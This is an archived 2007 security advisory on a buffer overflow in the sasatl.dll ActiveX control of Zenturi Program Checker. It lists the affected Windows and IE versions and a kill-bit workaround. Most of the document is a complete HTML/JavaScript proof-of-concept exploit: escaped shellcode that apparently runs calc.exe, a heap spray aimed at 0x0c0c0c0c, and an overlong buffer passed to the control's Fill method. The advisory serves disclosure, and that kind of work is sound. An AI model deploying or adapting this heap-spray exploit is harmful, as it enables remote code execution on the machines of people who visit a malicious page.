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sasatldll.txt

Posted on 11 July 2007

:. GOODFELLAS Security Research TEAM .: :. http://goodfellas.shellcode.com.ar .: sasatl.dll 1.5.0.531 Program Checker - Javascript Heap Spraying Exploit ========================================== Internal ID: VULWAR200707101. Introduction --------------- sasatl.dll is a library included in the Program Checker Pro software package from the Zenturi. (http://www.programchecker.com) Tested In ----------- - Windows XP SP1/SP2 english/french with IE 6.0 / 7.0. - Windows vista Professional English/French SP1 with IE 7.0 Summary ------------ The Fill method is prone to a stack-based buffer-overflow vulnerability because it fails to properly check boundaries. Impact --------- An attacker could execute arbitrary code into the remote machine. Workaround --------------- - Activate the Kill bit zero in clsid:7D6B5B29-FC7E-11D1-9288-00104B885781. - Unregister sasatl.dll using regsvr32. Timeline ---------- July 10, 2007 -- Bug published. Credits --------- * callAX <callAX@shellcode.com.ar> * GoodFellas Security Research Team <goodfellas.shellcode.com.ar> Proof of Concept ---------------- <HTML> <BODY> <object id=boom classid="clsid:{7D6B5B29-FC7E-11D1-9288-00104B885781}"></object> <SCRIPT> var payLoadCode=unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" + "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" + "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" + "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" + "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" + "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" + "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" + "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" + "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" + "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" + "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" + "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" + "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" + "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" + "%u652E%u6578%u9000"); var spraySlide = unescape("%u9090%u9090"); var heapSprayToAddress = 0x0c0c0c0c; function Tryme() { var size_buff = 900; var x = unescape("%0C%0C%0C%0C"); while (x.length<size_buff) x += x; x = x.substring(0,size_buff); boom.Fill(x); } function getSpraySlide(spraySlide, spraySlideSize) { while (spraySlide.length*2<spraySlideSize) { spraySlide += spraySlide; } spraySlide = spraySlide.substring(0,spraySlideSize/2); return (spraySlide); } var heapBlockSize = 0x400000; var SizeOfHeapDataMoreover = 0x26; var payLoadSize = (payLoadCode.length * 2); var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover); var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize; var memory = new Array(); spraySlide = getSpraySlide(spraySlide,spraySlideSize); for (i=0;i<heapBlocks;i++) { memory[i] = spraySlide + payLoadCode; } </SCRIPT> <input language=JavaScript onclick=Tryme() type=button value="Proof of Concept"> </BODY> </HTML>

 

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